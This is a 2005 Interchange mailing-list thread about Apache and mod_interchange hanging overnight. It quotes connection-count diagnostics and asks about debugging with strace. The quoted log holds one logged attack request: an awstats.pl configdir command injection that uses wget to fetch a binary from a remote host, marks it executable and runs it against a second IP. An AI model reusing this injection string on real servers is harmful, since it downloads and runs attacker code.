[ic] mod_interchange and Apache MaxClients

[Ron Phipps]

> From: interchange-users-bounces at icdevgroup.org
[mailto:interchange-users-
> bounces at icdevgroup.org] On Behalf Of John1
> Sent: Sunday, November 20, 2005 5:31 AM
> 
> Last night the website stopped responding at 03:55 in the morning when
> there
> was hardly any traffic to the website.  Ron's script successfully
> restarted
> Apache and Interchange and here is the output from the Alert e-mail:

Very interesting, my site went down at around 12:55 last night.  What
timezone are you in?  We are Pacific, would you happen to be Eastern?

Traffic was about average for the middle of the night.

Can you post the "hacker's" ip?

> 
> ############
> Server process count and connections count before restarting Apache &
> Interchange.
> 
> Sun Nov 20 03:55:31 GMT 2005
> 
> 16 connections to Apache port 80
> 0 connections to Apache port 443
> 24 Apache processes
> 7 IC processes
> 35 MySQL processes
> 
> Number of TCP and UDP connections for each IP, grouped by state
>       3 our_website's_IP  CLOSE_WAIT
>       3 our_website's_IP  FIN_WAIT2
>     10 hackers_IP           CLOSE_WAIT
> 
> Number of active Unix domain sockets, grouped by state and path
>       1 STREAM /usr/local/interchange/etc/socket.ipc
>      10 DGRAM
>      17 STREAM /usr/local/interchange/etc/socket
>      23 STREAM /var/lib/mysql/mysql.sock
>      96 STREAM
> ##############
> 
> The Apache access log shows just 3 entries before the site went down,
all
> from hackers_IP.  For interest, these were along the lines of:
> 
> /cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
> x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
> 
> where x.x.x.x and y.y.y.y were two remote IP addresses.  BTW, I don't
have
> awstats installed, and resending the above request from my browser
doesn't
> cause any problems - I just get the Interchange missing.html page as
you
> would expect.
> 
> I have searched the interchange error log, the catalog error log and
the
> apache error log and can find no evidence at all of any problem prior
to
> the
> site going down, but it seems clear that this hacker must have sent
> something to Apache that caused Apache, mod_interchange or interchange
to
> hang.
> 
> Notice from the above that hackers_IP had 10 connections to the server
in
> the CLOSE_WAIT state just before Apache and Interchange were restarted
by
> the script.  There were also another 6 connections where the foreign
> address
> was actually the same as local address i.e. both were the IP address
of
> the
> website - I am not sure why localhost would have a connection open to
> itself - I am intrigued, but I am sure it is not relevant to the
server
> going down.
> 
> So it seems to me we somehow need some more debugging information.
Racke
> mentioned using strace early on in this thread:
> 
> "First of all you should try to strace all the IC processes to see if
it
> does system calls and watch your logfiles (IC and system logfiles) as
> well.
> If no system calls happened it might caught up in an infinite loop
> somewhere."
> 
> Can someone explain how I might use strace?  I won't be able to
interpret
> the output myself but I am happy to post snippets in the hope that it
may
> be
> useful to others in tracking down the problem.  Any other ideas on how
to
> track down what may be bringing the site down? Thanks
> 

I have not had a chance to review the logs just yet, but will try to do
so tonight.  It definitely would be helpful if we could get some more
ideas for debugging.  Since my site has not gone down during the day
since I put up this script, I've been unable to test if IC can still
serve pages via the CGI.  My guess is there is some issue between Apache
- Mod_interchange, but that's just a guess at this point.

I'll post more after I review the logs, thanks.

-Ron